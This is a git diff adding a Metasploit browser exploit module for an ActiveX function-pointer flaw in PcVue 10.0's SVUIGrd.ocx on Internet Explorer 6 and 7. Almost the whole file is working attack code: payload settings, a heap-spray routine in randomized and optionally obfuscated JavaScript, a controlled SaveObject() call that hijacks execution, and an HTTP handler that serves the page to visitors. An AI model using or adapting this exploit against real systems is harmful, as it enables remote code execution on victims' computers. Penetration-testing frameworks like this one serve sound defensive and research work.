diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb new file mode 100644 index 0000000000..9125ec1028 --- /dev/null +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -0,0 +1,174 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability", + 'Description' => %q{ + This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0. + By setting a dword value for the SaveObject() or LoadObject(), an attacker can + overwrite a function pointer and execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Luigi Auriemma', # original find + 'mr_me ', # msf module + 'TecR0c ',# msf module + ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'BID', '49795'], + [ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x0a\x0d", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + #IE 6/7 on Widnows XP and Vista + 'Internet Explorer 6 / Internet Explorer 7', + { + 'Ret' => 0x0a0a0a0a, + 'Offset' => 1000 + } + ] + ], + 'DisclosureDate' => 'Oct 5 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]), + ], self.class) + end + + def on_request_uri(cli, request) + + #If not IE, we don't continue + agent = request.headers['User-Agent'] + if agent !~ /MSIE [6|7]\.0/ + print_error("Target not supported: #{agent.to_s}") + send_not_found(cli) + return + end + + # Encode the shellcode + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + + # Setup exploit buffers + nops = Rex::Text.to_unescape([target.ret].pack('V')) + ret = "0x%08x" % target.ret + + blocksize = 0x50000 + fillto = 200 + + # Randomize the javascript variable names + obj_name = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) + j_ret = rand_text_alpha(rand(100) + 1) + j_headersize = rand_text_alpha(rand(100) + 1) + j_slackspace = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + j_txt = rand_text_alpha(rand(8) + 4) + + js = <<-EOF + var #{j_shellcode} = unescape('#{shellcode}'); + var #{j_nops} = unescape("#{nops}"); + var #{j_headersize} = 20; + var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; + while(#{j_nops}.length < #{j_slackspace}) { + #{j_nops} += #{j_nops}; + } + var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); + var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); + while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) { + #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; + } + + #{j_memory} = new Array(); + for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){ + #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ; + } + + function main(){ + #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0); + } + EOF + + js = js.gsub(/^\t\t/, '') + + #JS obfuscation on demand + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + main_sym = js.sym('main') + else + main_sym = "main" + end + + content = <<-EOF + + + + + + + EOF + + #Remove the extra tabs from content + content = content.gsub(/^\t\t/, '') + + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}") + send_response(cli, content, {'Content-Type'=>'text/html'}) + end +end + + +=begin +Tested successfully on the following platforms: + - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3 + +Class SVUIGrdCtrl +ProgID: SV.UIGrdCtrl.1 +GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9} +Number of Interfaces: 1 +Default Interface: ISVUIGrd +RegKey Safe for Script: False +RegkeySafe for Init: False +KillBitSet: False +=end \ No newline at end of file